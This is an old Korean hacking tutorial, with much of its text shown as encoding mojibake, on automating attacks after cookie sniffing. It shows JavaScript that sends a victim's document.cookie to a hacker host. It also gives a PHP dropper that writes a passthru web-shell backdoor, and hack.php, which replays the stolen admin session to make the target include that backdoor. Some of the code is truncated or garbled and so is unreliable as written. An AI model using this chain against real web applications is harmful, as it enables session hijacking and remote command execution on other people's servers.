Automatic attack program that can be used in Cookie Sniffing
by Beist Security Research Group
¿ä¾à : Cookie SniffingÀº WWW ȯ°æ¿¡¼ ÇØÄ¿°¡ »ç¿ëÀÚ³ª °ü¸®ÀÚÀÇ Cookie ȤÀº Session°ú °°ÀÌ Áß¿äÇÑ Á¤º¸¸¦ °¡·Îä´Â ±â¹ýÀ» ¸»Çϰí Cookie SpoofingÀº ÀÌ Á¤º¸¸¦ ÀÌ¿ëÇÏ¿© ÇØÄ¿°¡ ÀÚ½ÅÀÇ ½ÅºÐÀ» ¼ÓÀÌ´Â ÇàÀ§¸¦ ÇÏ´Â °ÍÀ» ¸»ÇÑ´Ù. ÀÌ Á¤º¸´Â À¯È¿ ½Ã°£ÀÌ ÀÖÀ»¼ö Àֱ⠶§¹®¿¡ ÇØÄ¿´Â Á¤º¸¸¦ ȹµæÇÑ ÈÄ ºü¸¥ ½Ã°£ ¾È¿¡ Spoofing °ø°ÝÀ» ¼öÇàÇØ¾ß Çϴµ¥ ÀÌ ¹®¼´Â ÀÌ·¯ÇÑ °ø°ÝÀ» ÀÚµ¿À¸·Î ó¸®ÇÔÀ¸·Î½á À¯È¿ ½Ã°£¿¡ Á¦¾àÀÌ ¾ø´Â °ø°Ý ±â¹ý¿¡ ´ëÇØ¼ ¼Ò°³ÇÏ¿´´Ù. ÇØÄ¿°¡ ¹Ì¸® ¸¸µé¾îµÐ °ø°Ý ÇÁ·Î±×·¥Àº Cookie¸¦ ¹Þ´Â µ¿½Ã¿¡, ÀÚµ¿È °ø°Ý ¾Ë°í¸®ÁòÀ» ÅëÇØ¼ °ø°ÝÀ» ½ÃµµÇÑ´Ù. °ø°Ý¿¡ ÇÊ¿äÇÑ Á¤º¸¿Í, °ø°Ý¿¡ ¼öÇàÇÒ ÇൿÀ» ¹ÙÅÁÀ¸·Î, ÀÚµ¿À¸·Î Ÿ°Ù ¼¹ö¿¡ Á¢¼ÓÇÏ¿© ÀÚµ¿È µÈ °ø°ÝÀ» ±¸ÇöÇÏ¿´´Ù. ÀÌ·¯ÇÑ °ø°Ý ÀÛ¾÷À¸·Î ÀÎÇØ Cookie³ª SessionÀÇ À¯È¿ ½Ã°£ ¾È¿¡ °ø°ÝÀ» ¼öÇàÇÒ¼ö ÀÖÀ» »Ó¸¸ ¾Æ´Ï¶ó °ü¸®ÀÚÀÇ ¹ß ºü¸¥ º¸¾È ´ëó¸¦ Èûµé°Ô ÇÒ ¼ö ÀÖ´Ù.
|
1. °³¿ä ÀÌ ¹®¼´Â Cookie Sniffing À» ÅëÇÏ¿© Target (¿©±â¼´Â Admin ID ³ª ƯÁ¤ »ç¿ëÀÚ¸¦ ¸»ÇÕ´Ï´Ù.) ÀÇ Cookie ¸¦ ȹµæÇÏ¿´À» ¶§, ±× ÀÌÈÄÀÇ °ø°Ý °úÁ¤À» ÀÚµ¿À¸·Î ó¸®ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼ ¼Ò°³ÇÕ´Ï´Ù. ¸¸¾à Cookie, Cookie Sniffing °ø°Ý ±â¹ý¿¡ ´ëÇÑ ÀÌÇØ°¡ ºÎÁ·ÇϽôٸé beistÀÇ °³ÀÎ °ÁµéÀ» ¸ÕÀú Âü°íÇϽðí ÀÌ ±ÛÀ» Àо½Ã±â ¹Ù¶ø´Ï´Ù. ÀÌ ±ÛÀº Target ÀÇ Cookie ¸¦ ȹµæÇÑ ÈÄÀÇ °ø°Ý °úÁ¤À» ÀÚµ¿À¸·Î ¼öÇàÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼ ´Ù·ç°í ÀÖÀ¸¹Ç·Î Cookie, Cookie Sniffing ±â¼ú¿¡ ´ëÇÑ ÀÌÇØ°¡ ÃæºÐÇÏÁö ¾ÊÀ¸½Ã¸é ÀÌ ¹®¼¸¦ ÀÌÇØÇϽô µ¥ Á¶±Ý ¾î·Á¿òÀÌ ÀÖÀ» ¼öµµ ÀÖ½À´Ï´Ù. Target ÀÇ Cookie ¸¦ °¡Á®¿À´Âµ¥ ¼º°øÇß´Ù¸é, ÇØ´ç Cookie ¸¦ ÀÌ¿ëÇÏ¿© ´Ù½Ã °ø°ÝÀ» ¼öÇàÇØ¾ß ÇÕ´Ï´Ù. ¸¸¾à ÈÉÃĿ Äí۰¡ ½Ã°£ Á¦ÇÑ ¾øÀÌ ¿©ÀüÈ÷ »ç¿ëµÉ ¼ö ÀÖ´Â ³»¿ëÀÇ Äí۶ó¸é ±»ÀÌ ÀÌ ÀÚµ¿È °ø°ÝÀÌ ÇÊ¿äÇÏÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù. ±×·¯³ª Session ÀÏ °æ¿ì¿¡ (¾î¶² »óȲ¿¡¼´Â, Cookie ÀÏ °æ¿ì¿¡µµ) ÀÏÁ¤ ½Ã°£ÀÌ Áö³¯ °æ¿ì Session °ªÀÌ »ç¶óÁ® ¹ö¸®°Å³ª º¯Á¶µÉ ¼ö Àֱ⠶§¹®¿¡ Target ÀÇ Session, Cookie µ¥ÀÌÅ͸¦ ȹµæÇÏ°í ³ª¼ ºü¸¥ ½Ã°£ ¾È¿¡ °ø°ÝÀ» ÇØ¾ß ÇÕ´Ï´Ù. ±×·¸Áö¸¸ Cookie Sniffing °ø°Ý ±â¼úÀÇ Æ¯¼º»ó, ÇØÄ¿°¡ ÀÛ¼ºÇÑ ¾Ç¼º Äڵ带 Target ÀÌ Àоî¾ßÁö¸¸ ÇØÄ¿¿¡°Ô Cookie ¿¡°Ô ³¯¶ó¿À´Âµ¥, Target ÀÌ ¾ðÁ¦ ¾Ç¼º Äڵ带 ÀÐÀ»Áö ¾Æ¹«µµ ¾Ë ¼ö ¾ø½À´Ï´Ù. Target ÀÌ ¾Ç¼º Äڵ带 ÀÐ¾î¼ Cookie°¡ ³Ñ¾î¿Ã ¶§±îÁö 24 ½Ã°£ ÄÄÇ»ÅÍ ¾Õ¿¡¼ ÁöÄѺ¸°í ÀÖ´Ù¸é ¹®Á¦°¡ ¾ø°ÚÁö¸¸ Çö½ÇÀûÀ¸·Î Èûµç À̾߱âÀÔ´Ï´Ù. ÀÌ·± »óȲ¿¡ ´ëºñÇÏ¿© °ø°ÝÀ» ÀÚµ¿ÈÇÏ´Â ÇÁ·Î±×·¥À» ¸¸µé¾îµÐ´Ù¸é Cookie¸¦ ¾ò¾î¿Ã ¶§±îÁö ±â´Ù·Á¾ß ÇÏ´Â ¼ö°í¸¦ ÇÏÁö ¾Ê¾Æµµ µË´Ï´Ù. °ø°ÝÀ» ¼öÇàÇÏ´Â ÇÁ·Î±×·¥Àº ´Ù¾çÇÑ ¾ð¾î·Î Á¦ÀÛÇÒ ¼ö ÀÖ°ÚÁö¸¸, ¿©±â¼´Â PHP ¸¦ ÀÌ¿ëÇÏ¿© ¸¸µé¾î º¸°Ú½À´Ï´Ù.
|
2. ÀÌ¿ëµÉ ¼ö ÀÖ´Â °÷ ÀÌ ¹®¼¿¡¼ ´Ù·ç´Â ÁÖÁ¦´Â Cookie ¸¦ ¾òÀº ÈÄÀÇ °ø°Ý °úÁ¤À» ÀÚµ¿À¸·Î ¼öÇàÇÏ´Â ÇÁ·Î±×·¥¿¡ ´ëÇØ¼ ¼³¸íÇÕ´Ï´Ù. ÀÌ ±â¼úÀ» ÀÌ¿ëÇÑ´Ù¸é Cookie ¸¦ ¾ò¾î¿Ã ¶§±îÁö ±â´Ù·Á¾ßÇÏ´Â ¼ö°í¸¦ ÇÏÁö ¾Ê¾Æµµ µË´Ï´Ù. Cookie Sniffing Àº, Á¦·Îº¸µå °°Àº °Ô½ÃÆÇÀ̳ª Web ±â¹ÝÀÇ ¸ÞÀÏ ¼ºñ½º, ¼îÇθô, ±âŸ Cookie ³ª Session À» »ç¿ëÇÏ´Â Web ¼ºñ½ºµéÀ» °ø°ÝÇϴµ¥ ÀÀ¿ëµÉ ¼ö ÀÖ½À´Ï´Ù. ÀÌ ¹®¼¿¡¼´Â ÀÓÀÇ·Î ¸¸µç PHP CGI ¸¦ ´ë»óÀ¸·Î ±â¼úÇÒ °ÍÀÔ´Ï´Ù. ÀÌ ¹®¼´Â Session Sniffing ÈÄ¿¡ °ø°ÝÇÏ´Â °Í¿¡ ´ëÇØ¼ ¾Ë¾Æº¼ °ÍÀÔ´Ï´Ù. Session Sniffing ¿¡ ´ëÇØ¼ ¾Ë¾Æº¼ °ÍÀÌÁö¸¸, Cookie Sniffing °ø°Ý¿¡µµ ¶È°°ÀÌ Àû¿ëµÉ ¼ö ÀÖ½À´Ï´Ù. (Cookie ¿Í Session Àº ¾ö¹ÐÈ÷ µûÁö¸é ´Ù¸¥ °ÍÀÌÁö¸¸, ¿©±â¿¡¼ »ç¿ëÇÏ´Â ±â¹ýÀº µÎ°¡Áö ´Ù ÀÌ¿ëÇÒ ¼ö ÀÖ´Â ±â¹ýÀ̹ǷΠÀÌ ¹®¼¿¡¼´Â µÎ ´Ü¾î¸¦ ±¸º°ÇÏÁö ¾Ê°í »ç¿ëÇϰڽÀ´Ï´Ù. ±×¸®°í ¶Ç, Cookie Sniffing ÀÇ ÀÚµ¿È °ø°ÝÈ °ø°ÝÀÌ ¿äÁ¡À̱⠶§¹®¿¡, ±âŸ CGI ¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ¼³¸íÀ̳ª ±âŸ Ãë¾à °¡´É¼º¿¡ ´ëÇØ¼´Â °í·ÁÇÏÁö ¾Ê°í ÀÛ¼ºÇÏ¿´½À´Ï´Ù.)
|
3. ±â¼úÀûÀÎ ³»¿ë ¸ÕÀú Äí۸¦ °¡Á®¿À´Â ¹æ¹ý¿¡ ´ëÇØ¼ °£·«ÇÏ°Ô ¾Ë¾Æº¸°Ú½À´Ï´Ù. ¿©±â¼ »ç¿ëÇÏ´Â ÄíŰ ½º´ÏÇÎÀº Cookie Sniffing by Using txt extension ¹®¼¿¡¼ ¼³¸íÇÏ¿´´ø ¹æ¹ýÀ» ÀÌ¿ëÇϰڽÀ´Ï´Ù. (±»ÀÌ ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏÁö ¾Ê¾Æµµ ÄíŰ ½º´ÏÇÎÀ» ÇÏ´Â ¹æ¹ýÀº ¿©·¯ °¡Áö°¡ ÀÖ°Ú½À´Ï´Ù.) ÀÌ ¹®¼¿¡¼ Admin°ú TargetÀº °°Àº ¶æÀ» °®°í ÀÖ½À´Ï´Ù. ±¸ºÐÇÏÁö ¸¶½Ã°í ÀоîÁֽñ⠹ٶø´Ï´Ù. ÀÌ ¹®¼¿¡¼ ¼³¸íÇÏ´Â ÇØÅ· ¼ø¼¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù. (1) Target ÀÇ Cookie ¸¦ ÈÉÃÄ¿À´Â ¾Ç¼º Javascript
ÀÛ¼º (test.txt) Á¶±Ý º¹ÀâÇÑ °úÁ¤À̹ǷΠÀ§ 7 °¡ÁöÀÇ ¼ø¼¸¦ °¢°¢ ³ª´©¾î ¼³¸í ÇϰڽÀ´Ï´Ù. target ÀÇ Á¤º¸´Â ´ÙÀ½°ú °°½À´Ï´Ù. Target Server URL - http://beist.org/ ÇØÄ¿ÀÇ Á¤º¸´Â ´ÙÀ½°ú °°½À´Ï´Ù. ¾Æ·¡ÀÇ ÄÄÇ»ÅÍ ÁÖ¼Ò´Â ÇØÄ¿°¡ Target À» °ø°ÝÇÒ ¶§ ÀÌ¿ëÇÕ´Ï´Ù. Hacker URL - http://beist.hackerscomputer/
(1) Target ÀÇ Cookie ¸¦ ÈÉÃÄ¿À´Â ¾Ç¼º Javascript ÀÛ¼º (test.txt) Cookie Sniffing ¿¡ ÀÌ¿ëµÇ´Â Javascript ¹®¹ýÀº ´Ü¼øÇÕ´Ï´Ù. ´ëÇ¥ÀûÀÎ ¹æ¹ýÀ¸·Î window.open ¸Þ¼Òµå¸¦ È£ÃâÇÒ ¶§, ÇöÀç À¥ ºê¶ó¿ìÀú¿¡ ÀúÀåµÇ¾îÀÖ´Â cookie ¸¦ °°ÀÌ ³Ñ°ÜÁÖ¸é µÇ´Âµ¥, document.cookie °¡ ¹Ù·Î ±× °ªÀÔ´Ï´Ù.
test.txt <html> <script language=javascript> </head> Automatic attack program that can use in Cookie Sniffing </body>
(2) Target ¼¹öÀÇ CGI ÀÚ·á½Ç¿¡ test.txt ¾÷·Îµå À§ ÆÄÀÏÀ» Target ¼¹öÀÇ CGI ÀÚ·á½Ç¿¡ ¾÷·ÎµåÇÕ´Ï´Ù. (Cookie Sniffing by Using txt extension ¹®¼¿¡¼´Â txt È®ÀåÀÚ¸¦ ÀÌ¿ëÇÑ Cookie Sniffing À» ¼³¸íÇÏ¿´Áö¸¸, ¹Ýµå½Ã È®ÀåÀÚ°¡ txt ¿©¾ßÇÏ´Â °ÍÀº ¾Æ´Õ´Ï´Ù. »óȲ¿¡ µû¶ó¼´Â jpg È®ÀåÀÚ¸¦ °®°í À־ °¡´ÉÇÕ´Ï´Ù. Áï, ȸ¿ø Á¤º¸¿¡ »çÁøÀ» ¿Ã¸± ¼ö ÀÖ´Â ±â´ÉÀ» ÀÌ¿ëÇѴٰųª ÇÏ´Â ´Ù¸¥ ¹æ¹ýÀ¸·Îµµ ¾ó¸¶µçÁö ÆÄÀÏÀ» Target ¼¹ö¿¡ ¿Ã¸± ¼ö ÀÖ½À´Ï´Ù.) ÀÚ·á½Ç ±â´É¸¸ Á¸ÀçÇÑ´Ù¸é CGI ÀÇ È®ÀåÀÚ °Ë»ç ±â´ÉÀº °ÆÁ¤ÇÏÁö ¾Ê¾Æµµ µË´Ï´Ù. txt È®ÀåÀÚ¸¦ ¸·¾Æ³õ´Â ¼³Á¤Àº °ÅÀÇ Ã£¾Æº¼ ¼ö ¾øÀ¸¸ç ÀÖ´Ù°í ÇÏ´õ¶óµµ jpg ³ª ±âŸ ´Ù¸¥ È®ÀåÀÚ¸¦ ÀÌ¿ëÇÏ¸é °¡´ÉÇϱ⠶§¹®ÀÔ´Ï´Ù.
[ȸé1] http://beist.org/~beist/auto/index.html (¸ÞÀθ޴º)
pds ¸Þ´º·Î µé¾î°¡ test.txt ÆÄÀÏÀ» ¾÷·Îµå ÇϰڽÀ´Ï´Ù. [ȸé2] http://beist.org/~beist/auto/pds.html (ÆÄÀÏ ¾÷·Îµå Form)
ÇØÄ¿°¡ ¿Ã¸° test.txt ÆÄÀÏÀÌ Á¤»óÀûÀ¸·Î ¾÷·Îµå µÇ¾ú½À´Ï´Ù. [ȸé3] http://beist.org/~beist/auto/pds_ok.html (ÆÄÀÏ ¾÷·Îµå ok ¸Þ¼¼Áö)
pds_ok.html ÀÇ ¼Ò½º¸¦ º¸°Ú½À´Ï´Ù.
pds_ok.html <? echo " if(eregi("php", $file_name)) if(eregi("htm", $file_name)) if(!copy($file, "data/$file_name")) echo "http://beist.org/~beist/auto/data/$file_name save ok"; ?>
test.txt ¸¦ Á¤»óÀûÀ¸·Î ¾÷·Îµå ÇÏ¿´°í, test.txt ÆÄÀÏÀÌ ³õÀÎ À§Ä¡´Â ´ÙÀ½°ú °°½À´Ï´Ù. test.txt URL - http://beist.org/~beist/auto/data/test.txt
(3) ½©À» »ý¼ºÇÏ´Â PHP ½ºÅ©¸³Æ® ÀÛ¼ºÇÏ¿© CGI ÀÚ·á½Ç¿¡ ¾÷·Îµå (beist.txt) À̹ø¿¡´Â ½©À» »ý¼ºÇÏ´Â PHP ½ºÅ©¸³Æ®¸¦ ÀÛ¼ºÇغ¸°Ú½À´Ï´Ù. ÀÌ PHP ½ºÅ©¸³Æ®´Â, hack.php ¿¡¼ CGI ¸¦ °ø°ÝÇÒ ¶§ °£Á¢ÀûÀ¸·Î ÀÌ¿ëµË´Ï´Ù. ½ºÅ©¸³Æ®¸¦ ÀÛ¼ºÇÑ ´ÙÀ½ ½ºÅ©¸³Æ®ÀÇ ±â´É¿¡ ´ëÇØ¼ °£´ÜÇÏ°Ô ¾Ë¾Æº¸°í ÀÌ °ÍÀ» ÀÌ¿ëÇÏ´Â ¹æ¹ýÀº µÚ¿¡¼ ´Ù·ç°Ú½À´Ï´Ù. ÀÚ·á½Ç¿¡ ¾÷·ÎµåÇϱâ À§ÇØ È®ÀåÀÚ¸¦ txt·Î ÇÏ¿´½À´Ï´Ù.
beist.txt
<? /* ÀÌ ½ºÅ©¸³Æ®¿¡¼ »ý¼ºÇÏ´Â beist.php Àº passthru ¸¦ ½ÇÇàÇÏ´Â backdoor
if(!file_exists("./data/beist.php")) /* ¾Æ·¡ÀÇ ·çƾÀº, beist.php ¸¦ ¾²±â ¸ðµå·Î ¿°í, ÆÄÀÏ ¾È¿¡ <? passthru($beist);
?> ÀÇ $fp=fopen("./data/beist.php", "w"); fputs($fp, "<? passthru(\$beist); ?>"); fclose($fp); } echo " ?>
¸¸¾à À§ beist.txt °¡ PHP ·Î Á¤»óÀûÀ¸·Î ½ÇÇàµÈ´Ù¸é, beist.php °¡ »ý¼ºµÉ °ÍÀ̰í, ÇØÄ¿´Â beist.php ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© target ½Ã½ºÅÛÀÇ nobody ½©À» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù. Àá½Ã ÈÄ¿¡ beist.txt°¡ ÀÌ¿ëµÇ´Â °÷¿¡ ´ëÇØ ÀÚ¼¼È÷ ¼³¸íÇϰÚÁö¸¸, ¹Ì¸® °£´ÜÇÏ°Ô ¾Ë¾Æº¸°í ³Ñ¾î°¡°Ú½À´Ï´Ù. ¾î¶² CGI ´Â Admin ±â´É Áß, head ¿Í foot ¿¡ (¸Ó¸®¸»°ú ²¿¸®¸») ƯÁ¤ ÆÄÀÏÀ» include ½Ãų ¼ö ÀÖ´Â ±â´ÉÀÌ Á¸ÀçÇÕ´Ï´Ù. ¸Ó¸®¸»°ú ²¿¸®¸»À» ÀÌ¿ëÇϸé Admin ÀÌ Æ¯Á¤ ¸Þ¼¼Áö³ª ÀÛ¾÷ µîÀ» À¥ ÆäÀÌÁö¿¡ »ðÀÔÇÏ·ÁÇÒ ¶§ Æí¸®ÇÕ´Ï´Ù. ÀÌ ¹®¼¿¡¼ target À¸·Î ÁöÁ¤ÇÑ CGI ´Â ÀÌ·¯ÇÑ ±â´ÉÀ» Áö¿øÇÕ´Ï´Ù. beist.txt ´Â ¸Ó¸®¸»°ú ²¿¸®¸»¿¡ ÆÄÀÏÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´Â ±â´É¿¡ ÀÌ¿ëÇÒ °ÍÀÔ´Ï´Ù. ¸Ó¸®¸» ȤÀº ²¿¸®¸» µÑ Áß Çϳª¿¡ beist.txt ÆÄÀÏÀ» ÁöÁ¤ÇسõÀ¸¸é, CGI °¡ ÀÛµ¿µÉ ¶§¸¶´Ù beist.txt ÀÇ ³»¿ëÀÌ PHP ·Î ½ÇÇàµÉ °ÍÀÔ´Ï´Ù. (¹°·Ð, ¸¸¾à include °¡ ¾Æ´Ñ ´Ü¼øÈ÷ print ¸¦ ÇØÁشٸé beist.txt ´Â PHP ·Î ½ÇÇàµÇÁö ¾Ê½À´Ï´Ù.) beist.txt ÆÄÀϵµ, (2) ÀÇ °úÁ¤Ã³·³ Target ¼¹öÀÇ PDS ¿¡ ¾÷·Îµå ÇÕ´Ï´Ù. ¸¸¾à beist.txt ÆÄÀÏÀÌ Á¤»óÀûÀ¸·Î ¾÷·Îµå µÇ¾ú´Ù¸é URL Àº ´ÙÀ½°ú °°½À´Ï´Ù. beist.txt URL - http://beist.org/~beist/auto/data/beist.txt
ÀÌ ¹®¼¿¡¼ ±â¼úÇÏ´Â °Í Áß °¡Àå Áß¿äÇÑ ºÎºÐÀÔ´Ï´Ù. hack.php Àº, Target ÀÇ Äí۸¦ ÈÉÃÄ¿ÀÀÚ¸¶ÀÚ ¹Ù·Î Target Server¸¦ °ø°ÝÇÏ´Â ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. hack.php ÀÇ ¼öÇà ±¸Á¶¿¡ ´ëÇØ¼ °£·«È÷ ¾Ë¾Æº¸°Ú½À´Ï´Ù. hack.php ÀÇ ÁøÇà ¼ø¼ -1- Target Server Á¤º¸ ÀúÀå hack.php ÀÇ ¼Ò½º¸¦ ¸¸µé±âÀü¿¡ ¸î°¡Áö¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù. ÀÌ °ø°ÝÀº Target CGI ÀÇ ±¸Á¶¸¦ ÆÄ¾ÇÇϰí ÀÖ´Ù´Â ÀüÁ¦ ÇÏ¿¡ °¡´ÉÇÕ´Ï´Ù. Target CGI ÀÇ Admin ¸Þ´º °ü·Ã ÆÄÀϵéÀ» ¾Ë¾Æº¸°Ú½À´Ï´Ù.
[ȸé4] http://beist.org/~beist/auto/admin_login.html (admin login form)
admin_login.html <html>
[ȸé5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)
admin_loginok.html <? if($id == "admin" && $passwd == "beist") echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n"); ?>
[ȸé6] http://beist.org/~beist/auto/admin_menu.html (admin menu)
admin_menu.html <? /* Session ÀÎÁõ ÀÛ¾÷. ¸¸¾à Á¤»óÀûÀÎ ÀÎÁõÀÌ ¾Æ´Ï¶ó¸é oh! beist ¶ó´Â if($HTTP_SESSION_VARS["id"]) echo " /* head´Â header·Î ÁöÁ¤ÇÒ ÆÄÀÏ À̸§À» °¡¸®Å²´Ù. ¸¸¾à head º¯¼öÀÇ °ªÀÌ Á¸ÀçÇÑ´Ù¸é, if($head) /* head.txt ÆÄÀÏÀÌ Á¸ÀçÇÏ´ÂÁö È®ÀÎÇÑ´Ù. head.txt ÆÄÀÏÀÌ Á¸ÀçÇÑ´Ù¸é if(file_exists("./data/head.txt")) echo "<br><br>welcome to beist world"; ?>
ÀÌ 3 °³ÀÇ ÆÄÀÏÀÌ Admin CGI ÀÔ´Ï´Ù. admin_login.html, admin_loginok.html ÆÄÀÏÀº °£´ÜÇϹǷΠ¼³¸íÇÏÁö ¾Ê°Ú½À´Ï´Ù. ÁÖÀDZí°Ô ºÁ¾ßÇÒ ÆÄÀÏÀº admin_menu.html ÆÄÀÏÀÔ´Ï´Ù. ¿ì¸®°¡ °ø°ÝÇÒ CGIÀÇ Admin Menu´Â header ÆÄÀÏÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´Â ±â´ÉÀ» °®Ãß¾ú½À´Ï´Ù. Target CGI ÀÇ index.html ÀÇ ¼Ò½º¸¦ º¸°Ú½À´Ï´Ù.
index.html <? /* ./data/head.txt ÆÄÀÏÀÌ Á¸ÀçÇÏ´ÂÁö È®ÀÎ. Á¸ÀçÇÑ´Ù¸é admin ÀÌ header if(file_exists("./data/head.txt"))
index.html ¿¡¼´Â ./data/head.txt ÀÇ °ªÀ» ÀнÀ´Ï´Ù. ±× °ªÀº Admin ÀÌ ÁöÁ¤ÇÑ header ÆÄÀÏÀÇ À̸§ÀÔ´Ï´Ù. ±×¸®°í includeÇÕ´Ï´Ù. °ø°ÝÀ» Çϱâ Àü¿¡ Á¤»óÀûÀÎ admin À¸·Î ·Î±×ÀÎÇÏ¿© ÀÌ·¯ÇÑ °úÁ¤À» Å×½ºÆ® ÇØº¸°Ú½À´Ï´Ù. ´ÙÀ½°ú °°Àº header.txt ¶ó´Â ÆÄÀÏÀ» Target CGI ÀÇ pds ¿¡ ¿Ã¸³´Ï´Ù.
header.txt <html> ÆÄÀÏÀ» ¾÷·Îµå ÇÑ ÈÄ admin ±â´ÉÀ» ÀÌ¿ëÇÏ¿© header.txt ÆÄÀÏÀ» header ·Î ÁöÁ¤ÇÕ´Ï´Ù.
[ȸé7] http://beist.org/~beist/auto/admin_menu.html (header ÆÄÀÏ ÁöÁ¤)
ÀÌÁ¦ index.html À» »õ·Î °íħÇÏ¿© º¯È°¡ ÀÖ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù.
[ȸé8] http://beist.org/~beist/auto/index.html (header ÁöÁ¤µÈ index.html)
index.html ÀÇ »ó´ÜÀ» º¸¸é header.txt ÀÇ ³»¿ëÀÌ Æ÷ÇԵǾî ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. hack.php °¡ ÇØ¾ßÇÒ ÀÏÀ» ¿©±â¼ °£´ÜÇÏ°Ô ´Ù½Ã Á¤¸®ÇÏ°í ³Ñ¾î°¡°Ú½À´Ï´Ù. hack.php ¿¡¼´Â Target CGI ·Î ¿¬°áÇÑ ÈÄ¿¡, Admin Menu ÀÇ header ÆÄÀÏ ÁöÁ¤ ±â´ÉÀ» ÀÌ¿ëÇÏ¿©, beist.txt À» include Çϵµ·Ï ÀÛ¾÷À» ÇØ¾ßÇÕ´Ï´Ù. ÀÌÁ¦ º»°ÝÀûÀ¸·Î hack.php ÀÇ ¼Ò½º¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù.
hack.php <? /* log ÆÄÀÏ ±â·Ï¿¡ ¾²±â À§ÇÏ¿© ÇöÀç ³¯Â¥¿Í ½Ã°£À» Á¤ÀÇ. */ $day = date("Y.m.d", mktime());
/* ¸¸¾à cook º¯¼ö°¡ ³Ñ¾î¿ÀÁö ¾Ê¾Ò´Ù¸é, Áï, cookie(session)°ªÀÌ ³Ñ¾î¿ÀÁö ¾Ê¾Ò´Ù¸é ¿¡·¯ ¸Þ¼¼Áö¸¦ ·Î±× ÆÄÀÏ¿¡ ±â·ÏÇÏ°í ½ÇÇàÀ» ÁßÁö½ÃÅ´ */
echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";
/* url ¹®ÀÚ¿À» ÆÄ½ÌÇÏ¿©, targetcgi, targetaddress, targettotal µîÀ» Á¤ÀÇ. targetsession Àº cook °ª. */ $total = substr($url, strlen("http://"), 100); $use = split("/", $total); $temp = "http://"; for($count=0;$count<sizeof($use)-2;$count++) $targetcgi = $temp; echo "targetcgi : $targetcgi<br>";
/* ·Î±× ÆÄÀÏ¿¡ ±â·Ï */
/* admin ¸Þ´º¿¡¼ include ÇÒ ÆÄÀÏ Á¤ÀÇ. %2F ´Â / ¸¦ ¶æÇÔ */ $includefile = ".%2Fdata%2Fbeist.txt"; /* POST method ·Î º¸³¾ µ¥ÀÌÅÍ. ex) head=.%2Fdata%2Fbeist.txt */ $argument = "head=$includefile"; /* POST header ¿¡ º¸³¾ µ¥ÀÌÅÍ·Î, argument ÀÇ ±æÀ̸¦ ÀúÀå */ $argulength = strlen($argument); /* header Á¤ÀÇ */ $httpheader=
/* Target ¼¹öÀÇ 80 ¹ø Æ÷Æ®¿¡ ¿¬°á. ¸¸¾à ¿¬°á¿¡ ½ÇÆÐÇÑ´Ù¸é ·Î±× ÆÄÀÏ¿¡ ±â·Ï */ $sock=fsockopen("$targetaddress", 80, $errno,
$errstr, 30); /* ¿¸° ¼ÒÄÏÀ¸·Î POST header ¿Í argument ¸¦ °¢°¢ º¸³¿. */ fputs($sock, $httpheader); ?> hack.php ¸¦ ¸¸µé¾î º¸¾Ò½À´Ï´Ù. ¼Ò½ºÀÇ ±â´ÉÀº ÁÖ¼®À» Âü°íÇϽñ⠹ٶø´Ï´Ù. ÀÌÁ¦ ÀÌ ÆÄÀÏÀ» hacker ÀÇ ¼¹ö¿¡ ¿Ã·Á³õ½À´Ï´Ù. hack.php ÀÇ URL À» ´ÙÀ½À¸·Î °¡Á¤ÇϰڽÀ´Ï´Ù. hack.php URL - http://beist.hackerscomputer/hack.php
ÀÌÁ¦ ÇØÄ¿´Â Target ID ¿¡°Ô test.txt À» ¸Þ¸ð·Î º¸³»°í, Target ÀÌ test.txt ÆÄÀÏÀ» Àб⸦ ±â´Ù·Á¾ß ÇÕ´Ï´Ù. ¿©±â¼´Â Cookie Sniffing by Using txt extension ¹®¼¿¡¼ ¼³¸íÇÑ ¹æ¹ýÀ» ÀÌ¿ëÇÒ °ÍÀÔ´Ï´Ù. ¸Þ¸ð¸¦ º¸³»´Â °úÁ¤Àº Áß¿äÇÏÁö ¾ÊÀ¸¹Ç·Î, ÇØÄ¿°¡ Admin ¿¡°Ô ´ÙÀ½°ú °°Àº ³»¿ëÀÇ ¸Þ¸ð¸¦ º¸³Â´Ù°í °¡Á¤ÇϰڽÀ´Ï´Ù. ¾Æ·¡ÀÇ È¸éÀº Admin ÀÇ Read Memo CGI ÆäÀÌÁö¿¡ µé¾î°¬À» ¶§ÀÇ È¸éÀÔ´Ï´Ù.
[ȸé8] http://beist.org/~beist/auto/read.html (read memo page)
(6) Target ÀÌ test.txt ¸¦ ÀаԵǸé hack.php ·Î Cookie °¡ ³Ñ¾î°¡°í hack.php ¿¡¼´Â À̸¦ ÀÌ¿ëÇÏ¿© Target CGI ¸¦ ÀÚµ¿ °ø°Ý Target ÀÌ test.txt ¸¦ ÀаԵǸé, Cookie (Session) ÀÌ hack.php À¸·Î ³Ñ¾î°¡°Ô µÉ °ÍÀÔ´Ï´Ù. ¿ì¸®°¡ À§¿¡¼ ¸¸µç hack.php ÇÁ·Î±×·¥Àº, Target Web Server ·Î ¿¬°áÇϰí CGIÀÇ Admin Menu ¿¡¼ beist.txt ¸¦ header file ·Î ÁöÁ¤ÇÕ´Ï´Ù.
[ȸé10] Admin ÀÌ test.txt ¸¦ ÀоúÀ» ¶§ »óȲ
